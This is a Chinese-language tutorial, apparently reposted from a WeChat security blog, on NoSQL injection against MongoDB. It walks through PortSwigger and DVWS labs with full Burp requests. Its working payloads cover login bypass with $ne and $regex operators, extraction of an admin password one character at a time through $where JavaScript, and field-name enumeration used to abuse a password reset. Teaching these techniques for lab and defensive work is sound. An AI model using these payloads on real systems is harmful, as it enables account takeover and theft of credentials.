基本介绍
NoSQL Injection是一种针对NoSQL数据库的安全漏洞,类似于传统的SQL注入攻击,NoSQL数据库是一类非关系型数据库,例如:MongoDB、Cassandra、Redis等,它们使用不同的数据存储和查询机制,NoSQL Injection漏洞的本质是未正确验证和过滤用户输入导致攻击者能够执行未经授权的操作从而破坏数据库的完整性、泄露敏感数据或执行其他恶意行为
漏洞类型
NoSQL注入可以简单的分为以下两种:
-
语法注入:当我们可以破坏NoSQL查询语法注入攻击载荷时就会发生这种情况,该方法与SQL注入中使用的方法类似,然而由于NoSQL数据库使用一系列查询语言、查询语法类型和不同的数据结构,因此攻击的性质差异很大
-
运算符注入:当我们可以使用NoSQL查询运算符来操作查询时就会发生这种情况
语法注入
注入检测
下面我们思考一个再MongoDB中显示不同类别产品的购物应用程序,当用户选择Fizzy饮料类别时,其浏览器会请求以下URL:
https://insecure-website.com/product/lookup?category=fizzy
此时应用程序发送JSON查询并从MongoDB数据库中的产品集合中检索相关产品:
this.category == 'fizzy'
要测试输入是否易受SQL注入攻击,我们只需要在类别参数的值中提交一个模糊字符串,MongoDB的一个示例字符串是:】
'"`{
;$Foo}
Foo xYZ
使用此模糊字符串构建以下攻击向量,如果导致原始响应发生变化则可能表明用户输入没有正确过滤或净化
https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
过滤字符
我们要确定应用程序将哪些字符解释为语法,我们可以注入单个字符,例如:可以提交’,这将导致以下MongoDB查询:
this.category == '''
如果这导致原始响应发生更改,则可能表示” ‘ “字符破坏了查询语法并导致语法错误,您可以通过在输入中提交有效的查询字符串来确认这一点,例如:通过转义引号,如果不会导致语法错误则意味着应用程序容易受到注入攻击
this.category == '''
确定条件
检测到漏洞后下一步是确定是否可以使用NoSQL语法影响布尔条件,要测试这一点,我们需要发送两个请求,一个条件为false,一个为true,例如:可以使用条件语句’&&0&&’x和’&&1&&’x,如果应用程序的行为不同则表明假条件会影响查询逻辑,但真条件不会,同时也表明注入这种语法风格会影响服务器端查询
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'x
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x
条件覆盖
现在您已经确定可以影响布尔条件,所以我们可以尝试覆盖现有条件以利用该漏洞,例如:您可以注入一个始终计算为true的JavaScript条件,例如:”||1||”
https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%31%7c%7c%27
这将导致以下MongoDB查询,而此时由于注入的条件始终为true,因此修改后的查询将返回所有项,这使您能够查看任何类别中的所有产品,包括隐藏或未知类别
this.category == 'fizzy'||'1'=='1'
简易示例
Step 1:首先访问靶场并选择过滤器对类别进行过滤
Step 2:随后对类别参数进行注入测试,提交以下语句会引发报错提示信息
/filter?category=a'
随后紧接着尝试对引号的闭合操作,构造如下语句:
Gifts'+'
Step 3:随后我们确定是否可以注入布尔条件来更改响应,首先是在类别参数中插入一个false条件
Gifts' && 0 && 'x
随后已检索到礼品类别中的产品
Gifts' && 1 && 'x
随后我们提交一个布尔条件,该条件在类别参数中的计算结果始终为true:
Gifts'||1||'
运算注入
基本介绍
NoSQL数据库通常使用查询运算符,这些运算符提供了指定数据必须满足的条件才能包含在查询结果中的方法,MongoDB查询运算符的示例包括:
-
$where:匹配满足JavaScript表达式的内容
-
$ne:匹配所有不等于指定值的值
-
$in-:匹配数组中指定的所有值
-
$regex:选择值与指定正则表达式匹配的内容
我们可以注入查询运算符来操作NoSQL查询,要做到这一点需要系统地将不同的运算符提交到一系列用户输入中,然后查看错误消息或其它更改的响应
提交查询
在JSON消息中可以将查询运算符作为嵌套对象插入,例如:
#初始情况
{"username":"wiener"}
#嵌套之后
{"username":{"$ne":"invalid"}}
对于基于URL的输入可以通过URL参数插入查询运算符,例如:
#初始情况
username=wiener
#嵌套之后
username[$ne]=invalid
如果不起作用,可以尝试以下操作:
-
将请求方法从GET转换为POST
-
将内容类型标题更改为application/json
-
将JSON添加到消息体
-
JSON注入查询运算符
注入检测
考虑一个易受攻击的应用程序,在POST请求的正文中接受用户名和密码
{"username":"wiener","password":"peter"}
用一系列运算符测试每个输入,例如:要测试用户名输入是否处理查询运算符则可以尝试以下注入
{"username":{"$ne":"invalid"},"password":{"peter"}}
如果应用了$ne运算符则会查询用户名不等于invalid的所有用户,如果用户名和密码输入都处理操作符,则可以使用以下有效载荷绕过身份验证
{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}
此查询返回用户名和密码不等于无效的所有登录凭据,因此你将作为集合中的第一个用户登录到应用程序,要以帐户为目标,您可以构造一个有效负载,其中包括已知用户名或您猜测的用户名,例如:
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
演示示例
本靶场的登录功能由MongoDB NoSQL数据库提供,它很容易受到使用MongoDB操作符的NoSQL注入的攻击,请以管理员用户身份登录应用程序,你可以使用以下凭据登录到自己的帐户:wiener:peter
Step 1:使用上述凭据登录用户
Step 2:在Burpsuite中测试用户名和密码参数以确定它们是否允许您注入MongoDB操作符,首先将username参数的值从”wiener”更改为{“$ne”:””},然后发送请求
POST /login HTTP/1.1
Host: 0a4f0028031131c6805b354a00b5009a.web-security-academy.net
Connection: close
Content-Length: 42
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=6g2cQrl6PQhnpe6DqOQhgVmNPzauLgHB
{"username":{"$ne":""},"password":"peter"}
随后将username参数的值从{“$ne”:””}更改为{“$regex”:”wien.*”},然后发送请求,可以看到这里我们使用$regex运算符时也可以登录
POST /login HTTP/1.1
Host: 0a4f0028031131c6805b354a00b5009a.web-security-academy.net
Connection: close
Content-Length: 51
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=6g2cQrl6PQhnpe6DqOQhgVmNPzauLgHB
{"username":{"$regex":"wien.*"},"password":"peter"}
随后将username参数设置为{“$ne”:””}时,将password参数的值从”peter”更改为{“$ne”:””},然后再次发送请求,这会导致查询返回意外数量的记录,这表示已选择多个用户
POST /login HTTP/1.1
Host: 0a4f0028031131c6805b354a00b5009a.web-security-academy.net
Connection: close
Content-Length: 45
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=6g2cQrl6PQhnpe6DqOQhgVmNPzauLgHB
{"username":{"$ne":""},"password":{"$ne":""}}
在密码参数设置为{“$ne”:””}的情况下将用户名参数的值更改为{“$regex”:”admin.*”},然后再次发送请求,可以看到这成功地将我们作为了管理员用户登录
POST /login HTTP/1.1
Host: 0a4f0028031131c6805b354a00b5009a.web-security-academy.net
Connection: close
Content-Length: 55
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4f0028031131c6805b354a00b5009a.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=6g2cQrl6PQhnpe6DqOQhgVmNPzauLgHB
{"username":{"$regex":"admin.*"},"password":{"$ne":""}}
数据操作
语法操作
基本介绍
在许多NoSQL数据库中一些查询运算符或函数可以运行有限的JavaScript代码,例如:MongoDB的$where运算符和mapReduce()函数,这意味着如果有漏洞的应用程序使用这些运算符或函数,数据库可能会在查询中评估JavaScript,因此您可以使用JavaScript函数从数据库中提取数据
下面我们想象一个易受攻击的应用程序,它允许用户查找其他注册用户名并显示其角色,这会触发对URL的请求
https://insecure-website.com/user/lookup?username=admin
这将导致用户集合的以下NoSQL查询:
{"$where":"this.username == 'admin'"}
由于查询使用$where运算符,您可以尝试将JavaScript函数注入该查询以便它返回敏感数据,例如:您可以发送以下有效载荷
admin' && this.password[0] == 'a' || 'a'=='b
这将返回用户密码字符串的第一个字符使您能够逐个字符提取密码,您也可以使用JavaScriptmatch()函数来提取信息,例如:以下有效负载使您能够识别密码是否包含数字
admin' && this.password.match(/d/) || 'a'=='b
靶场演示
本靶场的用户查找功能由MongoDB NoSQL数据库提供支持,它容易受到NoSQL注入的攻击,请提取管理员用户的密码,然后登录到他们的帐户,您可以使用以下凭据登录到自己的帐户:wiener:peter
Step 1:首先使用以上账户进行登录操作
Step 2:在历史数据报文中检索https://0afd005503eab6c9803617e300c00021.web-security-academy.net/user/lookup?user=wiener请求,并将其发送到repeat模块,对参数加单引号后发现会出现错误提示信息,说明这里没有对单引号进行过滤处理
随后在用户参数中提交有效的JavaScript负载并进行URL编码,此时会检索wiener用户的帐户详细信息,这表明可能正在进行某种形式的服务器端注入
GET /user/lookup?user=wiener'%2b' HTTP/1.1
Host: 0afd005503eab6c9803617e300c00021.web-security-academy.net
Connection: close
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afd005503eab6c9803617e300c00021.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Lc8ZSZtslasYQslWt4B4oBMek8Pior9Q
Step 3:随后我们需要确定是否可以通过布尔条件来更改响应
提交用户参数中的错误条件,例如:wiener’&&’1’==’2
GET /user/lookup?user=wiener'%26%26'1'%3d%3d'2 HTTP/1.1
Host: 0afd005503eab6c9803617e300c00021.web-security-academy.net
Connection: close
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0afd005503eab6c9803617e300c00021.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Lc8ZSZtslasYQslWt4B4oBMek8Pior9Q
wiener'%26%26'1'%3d%3d'1
Step 5:随后我们需要识别密码长度
将用户参数更改为administrator’&&this.password.length<30||’a’==’b然后发送请求,响应将检索管理员用户的帐户详细信息,这表示该条件为true,因为密码少于30个字符
小于9
小于8时报错,所以密码的长度为8
Step 5:随后枚举密码,将用户参数更改为administrator’&&this.password[§0§]==’§a§,同时需要确保对有效负载进行URL编码
GET /user/lookup?user=administrator'&&this.password[§0§]=='§a§
Step 6:随后怼第一个payload进行排序,然后查询有差异Length回显的数据,获取密码——ztbinfvo
运算操作
基本介绍
即使原始查询不使用任何能够运行任意JavaScript的运算符,我们也可以自己注入其中一个运算符,然后我们可以使用布尔条件来确定应用程序是否执行通过该运算符注入的JavaScript,下面我们考虑一个易受攻击的应用程序,该应用程序接受POST请求正文中的用户名和密码:
{"username":"wiener","password":"peter"}
注入确定
要测试是否可以注入运算符,我们可以尝试添加$where运算符作为附加参数,然后发送一个条件求值为false的请求和另一个求值为true的请求,如果响应之间存在差异,这可能表明正在评估$where子句中的JavaScript表达式
{"username":"wiener","password":"peter", "$where":"0"}
{"username":"wiener","password":"peter", "$where":"1"}
数据提取
如果您注入了一个使您能够运行JavaScript的运算符,那么您可以使用keys()方法提取数据字段的名称,例如:您可以提交以下有效负载,这将检查用户对象中的第一个数据字段并返回字段名称的第一个字符,这使您能够逐个字符地提取字段名称
"$where":"Object.keys(this)[0].match('^.{0}a.*')"
靶场演示
本靶场的用户查找功能由MongoDB NoSQL数据库提供支持,它容易受到NoSQL注入的攻击,要解决实验室问题,请以carlos身份登录
首先我们访问靶场地址并使用carlos用户名进行简易的登录测试,此时提示”Invalid username or password”
随后发送请求到repeat模块,更改密码参数值如下,此时提示账户被锁定,说明存在注入
{"$ne":"invalid"}
Step 3:重置carlos帐户的密码,当您提交carlos用户名时,重置机制涉及电子邮件验证,因此您无法自己重置帐户
Step 5:随后回到登录的请求包中,使用”POST /login”请求来测试应用程序是否易受JavaScript注入的攻击
{"username":"carlos","password":{"$ne":"invalid"}, "$where": "0"}
{"username":"carlos","password":{"$ne":"invalid"},"$where":"1"}
Step 7:随后发送请求到Intruder模块
POST /login HTTP/1.1
Host: 0a4e0005040ae0d18307b961007100c4.web-security-academy.net
Connection: close
Content-Length: 63
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://0a4e0005040ae0d18307b961007100c4.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a4e0005040ae0d18307b961007100c4.web-security-academy.net/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=B8Qf680l4KuP7xSm58kyY7emeXmmQlxS
{"username":"carlos","password":{"$ne":"invalid"},"$where":"Object.keys(this)[1].match('^.{§§}§§.*')"}
按Payload1和Length对攻击结果进行排序以识别具有Account locked消息,请注意Payload 2列中字符拼出了参数的名称:username
随后重复以上步骤以识别更多的JSON参数,您可以通过每次尝试都增加键数组的索引来实现这一点,例如:
{"username":"carlos","password":{"$ne":"invalid"},"$where":"Object.keys(this)[2].match('^.{1}a.*')"}
随后提交URL中密码重置令牌字段的已过滤名称:/forgot-password?YOURTOKENNAME=invalid,您收到一条Invalid token错误消息,这将确认是您拥有正确的令牌名称和端点
进行猜解操作:
记录token信息
使用token进行重置操作
在浏览器中打开
随后完成密码重置操作
靶场示例
这里我们在DVWS中查看Public Note并使用burpsuit抓包
随后进行简易fuzzing
POST /api/v2/notesearch HTTP/1.1
Host: 192.168.204.160
Content-Length: 18
Accept: application/json, text/plain, */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWwxZXgiLCJwZXJtaXNzaW9ucyI6WyJ1c2VyOnJlYWQiLCJ1c2VyOndyaXRlIl0sImlhdCI6MTcwNjM3NTAyNSwiZXhwIjoxNzA2NTQ3ODI1LCJpc3MiOiJodHRwczovL2dpdGh1Yi5jb20vc25vb3B5c2VjdXJpdHkifQ.HYLse7VkddVzfCGa8iWVG1sZuxdtPvv2af7s7nfkHLg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.204.160
Referer: http://192.168.204.160/search.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
{"search":"al1ex' || 'a'='a"}
文末小结
本篇文章我们主要介绍了NoSQL Injection的注入原理、注入检测方法以及注入利用实践思路流程~
原文始发于微信公众号(七芒星实验室):NoSQL Injection